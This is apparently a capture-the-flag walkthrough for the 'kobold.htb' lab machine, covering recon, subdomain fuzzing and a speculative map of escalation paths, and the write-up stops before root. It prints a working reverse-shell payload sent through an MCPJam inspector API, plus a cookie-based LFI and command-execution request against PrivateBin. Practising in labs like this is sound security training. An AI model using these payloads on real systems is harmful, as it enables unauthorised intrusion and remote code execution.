Always keep in mind: Enumeration and Google are your best friends.
Don't rush. The most important thing is to learn and practice. Your knowledge will grow every day, and over time, these things will become much easier than they look now.
Step 1 — Nmap Scan We start with a full port scan:
┌──(root㉿kali)-[/home/kali]
└─# nmap -A -T5 -sCV 10.129.34.174 -Pn -vv
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-18 09:23 -0400
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
443/tcp open ssl/http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)Step 2 — Add Host to /etc/hosts
echo "10.129.34.174 kobold.htb" | sudo tee -a /etc/hosts🌐 Step 3 — Web Enumeration
After browsing the site and checking basic endpoints, we don't find anything useful. So we move to the next step:
👉 Subdomain enumeration
──(root㉿kali)-[/home/kali]
└─# ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt \
-u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://kobold.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.kobold.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
bin [Status: 200, Size: 24402, Words: 1218, Lines: 386, Duration: 91ms]
mcp [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 67ms]
:: Progress: [151265/151265] :: Job [1/1] :: 561 req/sec :: Duration: [0:05:16] :: Errors: 0 ::📌 Results:
bin.kobold.htb→ 200 OKmcp.kobold.htb→ 200 OK
Focus on MCP

We start with mcp.kobold.htb.
A quick Google search for:
"mcpjam vulnerability"
reveals multiple RCE-related CVEs and exploitation paths.


we going to try this one

❌ It fails
So we continue enumerating manually.

Exploitation (RCE → Reverse Shell)
We send a malicious request:
└─# curl -k https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.16.34/4444 0>&1"],"env":{}},"serverId":"pwn"}'We get a shell:
─# nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.34.174 57148
bash: cannot set terminal process group (1535): Inappropriate ioctl for device
bash: no job control in this shell
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$
ben@kobold:/usr/local/lib$ cd /home
cd /home
ben@kobold:/home$ ls
ls
alice
ben
ben@kobold:/home$ cd ben
cd ben
ben@kobold:~$ ls
ls
user.txt
ben@kobold:~$ cat user.txt
cat user.txt
66463d<<<<<<
ben@kobold:~$🔍 Step 9 — Post Exploitation Enumeration
We check running services:
ben@kobold:~$ ps aux | grep 8080
root 946 0.0 0.2 17632 8080 ? Ss 13:18 0:00 /usr/lib/systemd/systemd-logind
root 1955 0.0 0.1 1671112 4412 ? Sl 13:18 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.17.0.2 -container-port 8080 -use-listen-fd
ben 2386 0.0 0.0 6900 2064 pts/0 S+ 14:36 0:00 grep --color=auto 8080
ben@kobold:~$
after a lot of searching we find out that the bin is that one who is runing on the 8080 port

We discovered a potential information disclosure issue in PrivateBin version 2.0.2.

go to google again

LFI Discovery — PrivateBin 2.0.2
While analyzing bin.kobold.htb, we identified a Local File Inclusion (LFI) vulnerability by manipulating the template cookie.
Proof of Concept We confirmed command execution via injected parameter:
curl -k https://bin.kobold.htb/ \
-b "template=../data/pwn" \
-G --data-urlencode "cmd=id"
uid=65534(nobody) gid=82(www-data) groups=82(www-data)We then leveraged the same LFI vector to read sensitive configuration files:
curl -k https://bin.kobold.htb/ \
-b "template=../data/pwn" \
-G --data-urlencode "cmd=cat /srv/cfg/conf.php"
will not work the root flag will be added soon
🧠 Full Attack Chain — kobold.htb (Web CTF)
🧩 1. Initial Recon
Target: kobold.htb
Ports:
├── 22 → SSH
├── 80 → HTTP (redirect)
└── 443 → HTTPS (nginx)➜ Decision:
Focus on web → most attack surface.
🌐 2. Web Enumeration
kobold.htb
├── No interesting endpoints
├── Redirect to HTTPS
└── Hidden virtual hosts likely➜ Action:
Subdomain enumeration
🔎 3. Subdomain Discovery
kobold.htb
├── bin.kobold.htb ← IMPORTANT
└── mcp.kobold.htb ← IMPORTANTAttack Surface Split:
kobold.htb
│
┌──────────┴──────────┐
│ │bin.kobold.htb mcp.kobold.htb (PrivateBin) (MCP service)
⚔️ 4. Branch 1 — MCP Path (Initial RCE)
🔍 Enumeration
- MCP service investigated
- Public CVEs found (MCPJam-related RCE attempts)
❌ First exploit attempt fails
➜ Pivot logic:
"Maybe API is different / undocumented endpoint exists"
🔓 Hidden Endpoint Discovery
/api/mcp/connect
💥 Exploitation → RCE
Attacker → MCP API → command injection → bash reverse shell
Result:
ben user shell (www-data context)
🎯 MCP Chain Summary
mcp.kobold.htb
↓
API endpoint (/connect)
↓
command injection
↓
reverse shell
↓
ben user access⚔️ 5. Branch 2 — bin.kobold.htb (PrivateBin Path)
This is the more important escalation path.
🔎 Step 1 — Cookie Manipulation
template=../data/pwn
➜ Result:
Triggers LFI + command execution behavior
💣 Step 2 — Confirm RCE
cmd=id
uid=65534(nobody)
✔️ Web-level execution confirmed
📂 Step 3 — Sensitive File Access
/srv/cfg/conf.php
What we get:
- PrivateBin config
- Version: 2.0.2
- Filesystem storage backend
🧠 Full Exploit Chain (bin service)
bin.kobold.htb
│
▼
template parameter manipulation
│
▼
Local File Inclusion (LFI)
│
├──────────────┬───────────────────┐
▼ ▼ ▼
command exec file read path traversal
│ │ │
▼ ▼ ▼
RCE confirmed conf.php leak internal config exposure🧭 6. What This Enables (ALL POSSIBILITIES)
Now we branch like a real attacker mindset:
🔴 POSSIBILITY A — Credential Leakage (HIGH PRIORITY)
From conf.php or related files:
/etc/passwd .env files database credentials API keys internal service tokens
➡️ If DB creds found:
→ database login → password reuse → SSH access
🔴 POSSIBILITY B — Log File Poisoning
If logs accessible:
/var/log/nginx/access.log /var/log/app.log
➡️ Inject payload:
User-Agent:
➡️ Then:
log file include → RCE
🔴 POSSIBILITY C — Docker Escape Path (VERY IMPORTANT HERE)
You already saw:
docker-proxy → 127.0.0.1:8080 → container 172.17.0.2
So likely chain:
host (ben user)
↓
docker container service
↓
internal web app
↓
privileged misconfig
↓
root on host🔴 POSSIBILITY D — Privilege Escalation via PrivateBin Misconfig
PrivateBin 2.0.2 risks:
- insecure file storage
- weak sandboxing
- template injection
- file upload (disabled but check again)
- misconfigured base path🔴 POSSIBILITY E — SSH Pivot
If creds reused:
ben → alice → root
Classic chain:
web user → credential reuse → SSH → privilege escalation🧠 FINAL ATTACK GRAPH (FULL MAP)
HTB VPN CONNECTION
│
kobold.htb
│
┌────────────────┴────────────────┐
│ │
bin.kobold.htb mcp.kobold.htb
│ │
template LFI MCP API endpoint
│ │
▼ ▼
command execution RCE via /connect
│ │
▼ ▼
www-data shell ben user shell
│ │
└──────────────┬──────────────────┘
▼
INTERNAL ENUMERATION
│
┌──────────────┼────────────────┐
▼ ▼ ▼
conf.php leak docker 8080 system users
│ │ │
▼ ▼ ▼
creds/config container pivot privilege escalation
│
▼
ROOT (final goal)